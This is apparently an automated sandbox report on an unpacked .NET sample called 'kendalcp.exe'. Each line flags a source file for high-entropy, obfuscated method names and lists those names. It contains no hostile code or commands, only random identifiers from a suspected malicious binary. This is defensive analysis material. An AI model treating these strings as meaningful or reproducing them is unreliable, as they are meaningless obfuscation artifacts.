Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, fFNCpXBbTwaNqADGWlH.cs	High entropy of concatenated method names: 'F25RoSw20I', 'kwuRbYIqWR', 'rDBR1GLk5X', 'V1iR78r3Tl', 'XpGRXf0s4g', 'wY5aA1hJc7gocFFXBD2', 'AGCJuZhz0F4pHa8pWId', 'JOfbRrhBCDmFkDr5UxA', 'CS8BaUhwRoutERNum4q', 'z8EAunasGjA7toEMVKM'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, dqLDwy3OnGp6fabEq6f.cs	High entropy of concatenated method names: 'kp1WzayiNG', 'SWDacykelr', 'PX0aj8FygP', 'JY5avKtVmZ', 'VmJaWT1kGC', 'dnDaaA3Egr', 'vIZaBqxRZO', 'N4RaE8hNHM', 'WTOaddBgQb', 'wXfawc8QAZ'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, KGkSRTIyxyZjA2AqeIp.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'GuZ7LhCeUlaSWNqWtaL', 'o8IUBPCqS6eDYtepfRw', 'TipHcsC2YVKklTIjj6X', 'ISBAsrCMWIFvjmtMZ2P', 'rlyRL2CDUvfE8Zhtp8d', 'L2pmcgCt4pUuNFTpdya'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, sN2WlicRJG5kJKn3xBF.cs	High entropy of concatenated method names: 'bijSKOyPQl', 'bIvSVHR9BT', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'iB9SHIrygl', '_5f9', 'A6Y'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, FdP6fk73vv1k4fyS2fr.cs	High entropy of concatenated method names: 'XDvTwDBxZT', 'OLeT0Q25J9', '_8r1', 'jPbTCDA0vS', 'eI9TUmlFhK', 'T91TRbHlm0', 'bbNTIF6DvO', 'qC6TH3pSmqTF8F8fEXb', 'pyIPa0px68LLTeEvwEN', 'yLSYCnpvN3qr0PEfAKo'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, Qhutx5BWBHG5PL1PSqa.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, enk36GyzgdNG9TkmGtR.cs	High entropy of concatenated method names: 'M6ECKMLKAF', 'u1CCVqyofD', 'aE3CHW2LBv', 'f8mbWybApKjIAqh0yV1', 'IWSM85b7EpUIWV3HeW1', 'X2xDO2bihNvAyFMjvrr', 'YGcxwTbpXbx9ZsZW4UZ', 'GyjZpmb0QssHfeoD4VV', 'WdB8y7bHuIY3AoAr205', 'BKL7YBbTAqPJV0ry7Kr'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, eairCJBqx4dw575vcwu.cs	High entropy of concatenated method names: 'jgHIaTGrpN', 'OEQIBJ5C91', 'JxPIEOla5q', 'FXW0Snax0gS3ZZJiLvI', 'QYypgjavWFX9VcNyqdN', 'xRL9ONaUsFx3VBTGEw0', 'MvnriQaSahosKc89CSu', 'HS1PxsajkMwV1d6TxnJ', 'jRQDZcamZ7rqD6RlUgq', 'D1YvJEaKBGIgqWND8qq'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, pSF6UuphOoWoYt1RRf.cs	High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'XAevkW4GmbG2WLHLBWj', 'McvKLS4fb7L10PJdZMd', 'dv6YQl4XBjEOBQdMbBk', 'VYN1hb43CFlPmWNbQp9', 'wsjVRL4YuJw1w3uZtbY', 'zR42Fd4UIsFSjhqBFOu'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, H02KQ5I4h2vOeqv8S0O.cs	High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 's3Mg7VPb0ZbMJHYGR1Q', 'YSAWgoPhXKswOJ9SDPj', 'MM8Q2fPaSvgnMBghUup', 'ybxn7TPVBZdQ3afdVJb', 'NVWcYaPkSGGlXvsDLMO', 'l5SIkCP5l44rPOIQ3Ej'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, JwIGru7vSlTdLkYW2RH.cs	High entropy of concatenated method names: 'thng0dRVAE', 'mrDgCCckho', 'vy5gUGMhvQ', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'V2RgRumj9S'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, SnBWrZJZuZjyRW2Fi5.cs	High entropy of concatenated method names: 'wutxhNfTG', 'vkISCG1H2', 'GqCTS6RNd', 'IFAgVl0i5', 'tnIKubwhc', 'a4GVIdZW0', 'yPlHYvZU4', 'ww54ojyPiSfSa58Ptbc', 'dXY43by6h6UDps0H6uX', 'IPkjW7yFuVXZFixC9hX'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, QkyrWsIo0DSOFBfdfDD.cs	High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'PHHotJru73QgM5imWZR', 'yBSF88r1XJc7lSwCkqi', 'MjwHBKrW2bC2cOqvDKF', 'oIq9ovrZMlZjDBA1r2W', 'kKDJa7rBv1UMB6hj4hb', 'dg3WgZrwtB1Y6ajcvwX'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, XiqToayB0gLpxxfArrd.cs	High entropy of concatenated method names: 'LWBdmobL89', 'q7NdMx57JY', 'z1ldD6TPxd', 'EVCdOwjlFr', 'pgjdhk5oIw', 'pGmd5edM9W', 'quniMHm5W6f1jjtaDth', 'TbqcnAmV51iVo0eC4oL', 'n5L4RSmklHXQU480t34', 'QUVHJfmei1FkWoRQ8Fy'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, HNgEK8BOXyTAOWS4WUQ.cs	High entropy of concatenated method names: '_7zt', 'iv1IQ5OAyF', 'sUwI25DxEE', 'tGDIeDApfb', 'OClIGNbokE', 'fakIZxHMWy', 'dnNI3sWBrp', 'lva3ZQanZraN85kYnLH', 'Ffa9mKagAqfx5cnAQ7j', 'R8h2jaaO1Pi4VGWHefv'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, c40KSh7SU3XaCNork99.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'l36TxCWKgj', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, rlYSy5ID3bYAmCneAN1.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'iH65C6GOdjrpxFG5m8f', 'XGE9mWGchZYJviZStBo', 'ppZKUSGnURSUZ1DgXwv', 'hOMC8XGgZ4UEc6YtD6q', 'qdBwwDGbsgjBDRqMhhC', 'J00TLGGhIv6cqf3tIMx'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, OiICZcyQUH2LOljL1cp.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 's8gPaEfy9c', 'e0GCaani6A', 'gDqPitXelf', 'iYCmEMg3opOUQo852sF', 'OvaNITgY7Lo7mBa2XZL', 'UKvfoLgUJOPHxLsGTeR', 'Ox70tVgS1UUHVTX0y8V', 'kaPQefgxqKWOr2NnXmv'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, tSjlKFyecpbQ6iy8kdJ.cs	High entropy of concatenated method names: 'IRCw4H7HJF', 'aU6wl036va', 'f8hwoNpd9c', 'CCLqKwOYpRB9U8ABUKj', 'grTjxdOXZE2riQPE3eJ', 'VCQK9IO321FJf24w9X9', 'LG7o5cOUONKJ84502uo', 'ViJwNfTeAL', 'nt1wJwiQxf', 'mOSwAkYFEh'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, WSO4fwB8ibJdxeAGGAh.cs	High entropy of concatenated method names: 'ViYNSATIlT', 'BRlNg8QR1f', 'MgONqDFx5g', 'UMfN9XVsZR', 'xd5NNxIUvk', 'bs1NJBCwZ5', 'jbuNAtuAOB', 'be6Np8sHri', 'PaONyKsK5v', 'QcMNQZK3Sp'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, fe3JbqInjVfKrPDI2kM.cs	High entropy of concatenated method names: 'XT7jiuysQ7', 'TSV05MFbiLcQHS7lBgC', 'IgGS58FhdKysxfNq1Eu', 'pVHVVCFnqGhswNmLSkk', 'gOUWFhFgojgrJgGCMV2', 'qekHEHFakdfkVFMy9AF', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, gxPXTWyVReUbkr3NDFr.cs	High entropy of concatenated method names: 'wiD0rTGlTZ', 'Fnr04y3sUr', 'slUXM9njeTp23uiCuDE', 'Kdrw3inmVIbH3CYPY3s', 'G1wbx4nxMSkKVymxLYX', 'BDmT2bnvLWbaxZB0agJ', 'LgCNpXnKGc1sHs1m9ES', 'EatNQ8nOKL5hKE23yWB'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, PK15xI7gKbBcbrlZ1Dw.cs	High entropy of concatenated method names: 'oBXV1qFCTa', 'MZhQsl0eil8LM875rcF', 'TUHVL50q7BZ8fkevUoO', 'MBUeqR0khfFtdpNCJXj', 'obGLmr05qjvctyNxmlN', '_1fi', 'NftKsS9aag', '_676', 'IG9', 'mdP'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, bu0dAIQwR9b8lgcBB0.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'ymmXls40mxWhNmeMPTC', 'VWAR2E4HwaEGdrHfNWf', 'X7il8P4TpGg4ewPfoTw', 'lHOQdu4NoPDmknwTtbw', 'QM8Tcp4owMaa9nhSbBk', 'VR4lYP49V5tNuT2kRCf'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, J5foDkyr9rkcUu1OpEv.cs	High entropy of concatenated method names: 'OM6wfPP4bn', 'PgewipS32j', 'T8swFKsqoZ', 'y0fw8JbQgr', 'NK2wLjKi3p', 'vyuLrLcC22egJRY7vej', 'GwqqE8cryajOfCU71uc', 'WwFyJac4ZFb8CZBnaKd', 'HFXKVncQJOMMOWd310G', 'GimZ7ycPwNNQVqo41Ia'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, bFhZcUTNcoKDuPTrwu.cs	High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'AwmWFmdG06K3061cXoO', 'WUwhYAdfyexw650umLI', 'O1FV82dXf4u8Xi97ECT', 'mocQked3Iy9SlF5D4pZ', 'C6wNvEdYPhTSRJTDGeq', 't74DfmdUi4JG7hjB2ex'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, OxIJdkyYU0dErp8Slut.cs	High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'F3tCUfKgY3', 'MdZPIvd1Ss', 'xceCR9CFmt', 'po4PBVjnQ6', 'sOWlW2gLdNa2tu2WavS', 'MgEiZHgiQYGPGctNoul', 'NiHf8sg8veAGrauLEwp'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, pcv2SJytBxsUE4djr32.cs	High entropy of concatenated method names: '_269', '_5E7', 'buXPSr6Tlc', 'Mz8', 'kWHP5rIilE', 'MjIAYbgEXbcoJXV4KU6', 'AQMUaGguvgB3FMppxaq', 'sZLmDcg1ARjY2RW7lIe', 'jrlLqagWyCySrQOKnxO', 'VXWCcugZSmLeoHtnC00'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, gSsmgy32a8LOPSgml0F.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'gFmBldGJAQ', 'ekYBoCeE87', 'uHqBbgVXHR', 'jDXB1xYLxR', 'zbhB7u1yJp', 'IMr9hav6FOxLnTYbKM7', 'JgVWBKvF3LxqIT8MACW', 'vJn1jPvrrG3PMUoFMIA'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, IHPHHJ76vjq9fHXBkIi.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'jlFgSFDdXt', 'O7qgTcTreg', 'd9Pgg5i44M', 'v2ugKx9cYj', 'PlpgVLpoIM', 'j0GgHCUOuR', 'jMmDqO7lqtfkLZsJoEo'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, R2rQ9iPA5HTuQdSvRc7.cs	High entropy of concatenated method names: 'nNWux7jBUS', 'pHBuSt6cDD', 'xyGuTXcS13', 'pP2ugfYN12', 'vtZuKst1pc', 'hxsuVf2Z47', 'LKSuHcLDdg', 'sY3utCm09r', 'Jk4uuWnCbi', 'oqTurafy6G'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, Mc1PsyHJtAv3V2CwiZ.cs	High entropy of concatenated method names: 'zjrlrxHOE', 'gsqoOSDZw', 'SNvb5GTLy', 'ueTf1vyLe7AhxMfDo70', 'afy0CXy8JPRhf5veiKS', 'h4wuxMylPQdlfnnVx6k', 'MJ0uQnyidWk7futO43F', 'YrlYshypHnI0dsX6x3k', 'hfJpUgyArebsMNOL0Oa', 'XMEOkvy7ic1kR3VgL9L'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, BX9UoBII5nWL9DXxweK.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'FnMnpECmUp8KBmjECTl', 'QXGLbdCKINHdiFrNwrk', 'oks5lfCO25SHKHnrDRt', 'l2qZqbCcMcv11mZoFhl', 'yMkkhrCnZW8DFhLpko1', 'pMPZ9ACgfdM624dtsMm'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, SEgRysisa4PE4VnoeF.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'ikLay34vNtNmmAVpahj', 'XjgyEu4jOhBODr37fNQ', 'SjCE3r4maFEx1AvUSu3', 'FdrCKm4KMJUbcjRxB1l', 'mbZirc4O14v4naNe8pA', 'FdeUXs4chBxjWH9iwTd'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, RWsSlgc0DBSp29ZbJ5q.cs	High entropy of concatenated method names: 'fPjx5OWnok', 'MI7x6IFDib', 'OynxYlvFYN', 'GH5rLmlpKO9Spv6RZED', 'Hkms2BlLY5DVyf0I1bo', 'A3pIQMliAcUw14ycO9N', 'YN8GpwlAwUWdB5j6X7u', 'p0yx1El7egCSbj5vCFv', 'qNwbF8l0eK5hdtmIPPi', 'JXL528lHyUUL4FJjydA'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, TImxWNzEdDOxLKiIEZ.cs	High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'ddc3pdCIslwRQ5xCpVl', 'dtgCNqC4siP1oaODXNm', 'UGiV9DCQxsIEgh2KK7S', 'mOs6pCCCRWVGFmtwvxg', 'NShC1pCrWXBNpNpVd8K', 'hNP1NBCPvTvVBPnQTx9'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, LZ9u2SP51Dnfs5px2K.cs	High entropy of concatenated method names: 'CSYqRP5qU', 's6y7pyMn2PgMg7RJSJ', 'XtAwo4qYFbDcMyy5q6', 'YAg5qJ2d7SmqSbNbRl', 'k3csOPDstcI3V2rKH4', 'SWlrnwtDqjhQZ7IL4s', 'OQyv8dKgx', 'ydXWUWH7L', 'oyKaKpeeG', 'TawBylIaw'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, TtOZNkIt1L8IiKmqVwV.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'BykZlsG9cCS5OhuAndD', 'whG4DFGRCOxMeD7wcuq', 'XAhfxDGEXseR05LDSBM', 'CXxgxiGu82J6Q5YLiZI', 'wxv43IG1WBjhbJX7gqf', 'JpF20MGWqrdenmpnq4C'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, S6qdEpPmOL6RxsaYM4H.cs	High entropy of concatenated method names: 'RSYB8DVVr4elj', 'ONm1fMTUaYCV9JVpj94', 'qOkWh4TSBxR7JE8aRQ9', 'nhXo9FTxLWYy1JmBNtj', 'IhPeW6TvOjbnraFYpgq', 'gCjH3aTjG3wkLo5ZppO', 'VsyFTpT3ixp4LAnbjNG', 'HicbHWTYUTNW7Aqts0p', 'Cq2AS2TmY0lRC6TGEKo', 'VMMEyrTKgd0crsnMaiw'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, x2vmPE7sNm99TCjNA33.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, br1dL97AA6HIC6sHcyO.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, FbDvpgyplixo8OSj0gn.cs	High entropy of concatenated method names: 'sg9', 'oj2P7D7J2T', 'NuX0ndR6Iy', 'jZfPq1ZKmd', 'x7PwB5noGAgnuKCfXBs', 'R7xVfpn9qJFS6HJPKjS', 'jAkKkFnREvOkEi6rqhO', 'CtVruAnTFI3SWI2wI9f', 'mNw7LZnNVaeOY7YTifh', 'Js4n6DnE28eKpcMmaHT'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, ASmWYPBXlf7EZ66C4Hu.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, x3VUm1Bs8fvlQlo7gUK.cs	High entropy of concatenated method names: 'ybgq4v36ct', 'zvYqlqLMat', 'SxRqoNBTp9', 'SOUqbTspgU', 'dBdq1mUuGh', 'VBp1ePVmQpYAnn304m5', 'NQTVugVv4ld6SQ4q2nY', 'RH0KMNVjmDLSwtHmfRF', 'CH0ei6VKX1BGnKagxBc', 'QFAtCaVOmL79T2rFkhv'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, P6981W8vb1a21GaCxQ.cs	High entropy of concatenated method names: '_88Z', 'YZ8', 'ffV', 'G9C', 'VuG7ixQHQPVaTIHkmIQ', 'tT5618QTTR2TPt6AS82', 'sqIVgFQNBB4VEZc6Rjc', 'i3pwrRQo146DWNRHiCh', 'j5pOlLQ9pacgNP5MKRa', 'RrNDxbQRNyZkc9cHURX'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, CsjROoIsXbUg1vwYS52.cs	High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'VCHV4APJSnuwGT37mIC', 'iFTLeKPzhfSv9WYuVKr', 'kBn0Rr6sZlPRGohL0hJ', 'd3oukY6yFTugVP0xqql', 'z8MLpK6dR5u0nUscBf7', 'V63EFL6I3e4bBYLqEF1'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, qrqy5tBcywgHpv86icZ.cs	High entropy of concatenated method names: 'viJRATVXyS', 'Qhq4jLhjVBx7QPwiHfE', 'IO21Hihm40ML3n3E2pC', 'vePMS6hxExF2WJanpnq', 'gc2YLxhvYxrwe2OvYe0', 'f6eCtrcfeN', 'kk2CuyyaMK', 'vFkCrU8ZS4', 'KksC4hl6Ea', 'UKiCll8oA7'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, fCu2ZclngV8VKMff1X.cs	High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'B5JMFIXXK', 'QulmZtdtJgaOGZim6uH', 'jRtBFGd8soAiotLWlxO', 'oHqxELdlam8U3B8SukB', 'a2rJExdLAESlDgDlGqE', 'AFRdOhdin7YPUL357DX'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, IRTB23csIaevFm8IsIa.cs	High entropy of concatenated method names: 'YGLx7Gx1tp', 'GaPxXui6Ut', 'D0TxPqmPAn', 'dNDxmeWrRU', 'UotxM9uKq9', 'T40IKTlk3KdCxT3P7K2', 'StOK2rlaFkf2yEeVZZd', 'zwb42NlVBm3c3252YvR', 'vI24Xol5Flb2NG3dKdY', 'PtDtCZlePJ6VlrbL0vf'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, yjeOI874W9dx0SH8vv5.cs	High entropy of concatenated method names: 'xrNT2XovHF', 'XD8TevsUJ2', 'LVlTGiCO0H', 'zPdTZ0Wyyj', 'lSfT3FveE7', 'KbKk5SpBMg0M3aaMcXG', 'CM0w8fpwjh3kOedqw7O', 'CwURIPpJJo11H1s3R5A', 'HyTNFqpzqX83lZhBDdA', 'cxpnbAAsVxKO7A9omQl'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, vkZyVcyd7dyoWavLTif.cs	High entropy of concatenated method names: 'stP0Nk768E', 'y140JNvmgS', 'KhR0AEm9X8', 'UlSxpyc0Mg1fqxNFXvy', 'GdDrjucAg1ABmWloDlZ', 'zmxicEc7FSix6rAIN1k', 'SsbbOGcHBIJmCFOAy3B', 'mJb0EDTwaP', 'qX80df3l5T', 'leY0wunwCh'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, eKcWuFyDYXktA7237LV.cs	High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'MgTPNY5oMl', '_168', 'kFqb0xghMZhffSIAF0q', 'uAtnIQgaTW5HQtpVvuM', 'PTlM23gVUhSh17mlyeo', 'XZ71V4gkStGV2HJvJTf', 'TW6tjig5TVYMcgfNsjf'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, QumSZkIQH0ZaropH0Nq.cs	High entropy of concatenated method names: 'eb8vUwpj9u', 'NvqvRcCAMF', 'zhuMn1GfPHKNgZh3n7s', 'JLHhC0GFAi1QAfb1Cqw', 'hI0t0MGGPegarlg2kwE', 'PMyQGUGX7oAByQIUGRC', 'J890rjG3oZifnpXNdjB', 'ADyuFyGYaUfpZcxcX0M', 'f3O1JZGUd6LT7s7qQec', 'VriXa7GSFcv3Y8wAdTW'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, mFouKLI5BtKQB2s85vN.cs	High entropy of concatenated method names: 'I8mvjcBYSn', 'Y8nvvOuVD3', 'udNvWJdi9L', 'Rhi4LNFEX1rZ0iSLLti', 'CAOnREFuQpY5925QM8S', 'TnvX3UF9CmVVoIoEuM5', 'qRQPR1FRR8h0TUDqlAE', 'RRkqMaF1irlPUTFJYl1', 'xh8LCIFWQ33sJscxSLY', 'teYFmeFZDA4sS2c8MYZ'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, yMXQhtBVeuT8kgHSCWN.cs	High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'M50qc7HWyT', '_3il', 'yZPqjZKQux', 'Gl3qvoBwOV', '_78N', 'z3K'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, a6jPG1cy389uA6l0Ipr.cs	High entropy of concatenated method names: 'hIBpmrMnqsp65tMAefD', 'PEtHcpMggq8HlVqLykd', 'DduLVhMOh5riyCW5K50', 'qbFoC5McoanN0tA44co', 'CCX2xZi3rC', 'fpreVnMaqY14gBaLKsn', 'Vn4iO6MVa3xpN70v1KJ', 'JaPlymMbdZ3IEt0rbS0', 'ep3fCbMh21S5odpc5i2', 'jbEs8cMkHM35PuhOJd6'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, gafJ3BybY2SEHxbt8ck.cs	High entropy of concatenated method names: '_223', 'CPCZEMOvD0LpwhIyoPR', 'xwyHD1Oj538AtKlCHql', 'ujRSaaOmGj1YEHCYQEV', 'QNqhhBOK2Bn96b3hLEP', 'cRJmnmOO3X9OA0dvd1L', 'wmYOFMOcEMMeN7k5uK6', 'OPYZ1BOnpEVGYHr5Dc5', 'VG6QoVOgeHTuvVtq0fM', 'PlbobmOb1Nnchqfd8mt'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, aoiRqPc1tUdI13RxfDq.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'fZWS3HCxU9', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, dFuTyMyiJYc9ruJNyEx.cs	High entropy of concatenated method names: '_5u9', 'JbcPdvEHar', 'VicCcuPktJ', 'wMvPLH0G5r', 'XCeMjTnBqnToDJWHXPY', 'mXdFqlnwPBP5kCydU4Z', 'xS5RC4nJABnQlRxeVVT', 'MoeYndnWAexQW5sWkrU', 'EiPKERnZ6HBoaDnPXkX', 'k2GsfmnzgbtOuwdaxOO'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, qTA164U9kDCU1p6fEd.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'LAHYUKIZUKdb80qujQa', 'ekRiWIIBZjKO4v2M1oU', 'dvyPx9IwfhSH23e0ikc', 'jVOSRcIJCCUoKQnRDhL', 'CT8xJBIzqDEbYU5CMgL', 'Unftad4scoAXpdTVJWU'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, slE0ve6sQJLaEIMDI1.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'HgBXna6Ko', 'FAyPtxdmNxtHVekJX7v', 'Y4pdGxdKNrUlDi3iA6b', 'rsTfAGdOUn829PupbJX', 'iHbp6xdcMPGOa1phQPp', 'EKyktKdnqZlLoMKMAB8'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, fwYoiqBm2k6kq2ZqLAG.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, L2wfFTyh69sd7X4YXPg.cs	High entropy of concatenated method names: 'eMSwM8iJIq', 'YU8wDoJZ7k', 'MIIwOQEwRp', 'y9bwh0yMqR', 'Ty1VCaODuDydCKf706u', 'IplJPFOtLxvxy7yqqtD', 'zA1nnEO8T5KZ2OJyrm8', 'lbuFLFO2XDyj4Dj3mdy', 'w99WMXOMgqKmuiRRMhd', 'p7pgxoOlY0fHJOFw4ai'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, DjYGv5cZxokpbFkZtGd.cs	High entropy of concatenated method names: 'LBQxftDhOS', 'MbVxiiSYbL', 'OaqxFocJBd', 'Dp2x8BmXeo', 'kGKxL2fAYF', 'B4rxnjCqe7', 'WJgSdNloKMe223DoyVT', 'q304p7lT1Cu9Cd1mSjZ', 'brZt4FlNZOIR8YXcgJv', 'QTgirZl9Fc5Ij8iDPAm'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, LA3x7PI0uaKbQh0dOPI.cs	High entropy of concatenated method names: 'TLojOU0V5a', 'nk51G6FdXR7fqfZ3MBu', 'BgsWVGFInRloeybEowl', 'f1pBNRFsx6tCnE9WATc', 'V0dWW1Fy3g3uApYSVbt', 'KrvfPiF4KtQkorXgsm8', 'OkAS6PFQVaOG6OEFWKd', 'o7AIwhFCgLvteXQftsO', 'FOPj5yQjRU', 'csCGbhF6OenKwDfJXFu'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, SZYlAB3fcG1eQHka0LN.cs	High entropy of concatenated method names: 'TigaqPwpMf', 'c3Ya9ThCRE', 'HOIQ0RUb1vlfc3J3h02', 'rH8HdBUh2NCPu739PXv', 'xqgaU3UndebO6dVBext', 'TdO20nUgNQAkDlULDIc', 'fZfSHJUaoc5xiPi0JmU', 'IhNovlUVTvnxFU7CCTJ', 'B8dQIUUkq413BiX8tXx', 'yndvC0U5cfekqqYDKEs'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, lEhl9F3Jy4WtSqZF21b.cs	High entropy of concatenated method names: 'RGeaecJW5a', 'ALgaGaspS8', 'tNdaZeiHpy', 'nyoa36cee0', 'SuVaxIp7rQ', 'gQWklgSsdri53V6eqot', 'XGUqeXSyojiEHGy4xP5', 'S5t1ddUJBPSCPd95MAs', 'syBNcvUzxD1sgNTpJqw', 'kyuQW8SdXUBLMyslWbi'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, SM4qM6BjhBJSpwhT4qI.cs	High entropy of concatenated method names: 'IiXI41A2rA', 'fRgIlAXFTB', 'PJRIoI702U', 's7YIbgCU0c', 'RhHI1SV9Ml', 'zTTke0atF2AjKcW7NOb', 'eYBt6Ya85YSQ6wSaGmu', 'bot0KoaMX9Tmitt022h', 'euoDVgaDfB69i0y9KVY', 'D4FyAvalW74csvwwhpo'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, ggvLrLPuejHMJvahmWu.cs	High entropy of concatenated method names: 'M6Fbj2TaYvShNmoBItS', 'JBbiBNTVx6945hfegIt', 'GTLqXCTbcI9X54odkfW', 'PuJps8ThRXThU7RVJ6M', 'KQFu9UqBmn', 'VTytR3TeG5FNbicnCJS', 'oT5tJGTq48DJFN13Zqu', 'aSqYQlT2IV7YvPDt9d5', 'ktvenbTMF5IEbGr7Bnr', 'Aaq3kFTDyqV19Gg2TPW'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, jJVSrG7ijBPII783cm3.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'jNeH0aAxpu', 'eGUHCcdbS0', 'YaBHUNXZeY', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, vwZhRE3NSocOklq9RER.cs	High entropy of concatenated method names: 'UUovSR6hFW', 'PltvTVoUUo', 'mWfvguMZw3', 'eHdw1ifMNV5XCgoCtso', 'bWUWNjfD1euZZvUYpP2', 'uhmow5ftOSRKOfDgsv6', 'oOWAyOf8nUhq3SPpSMG', 'hvZAweflO81IcxyGyAV', 'Ud590yfLYSU12H6wisC', 'myDGyjfqFUUFktVExDP'
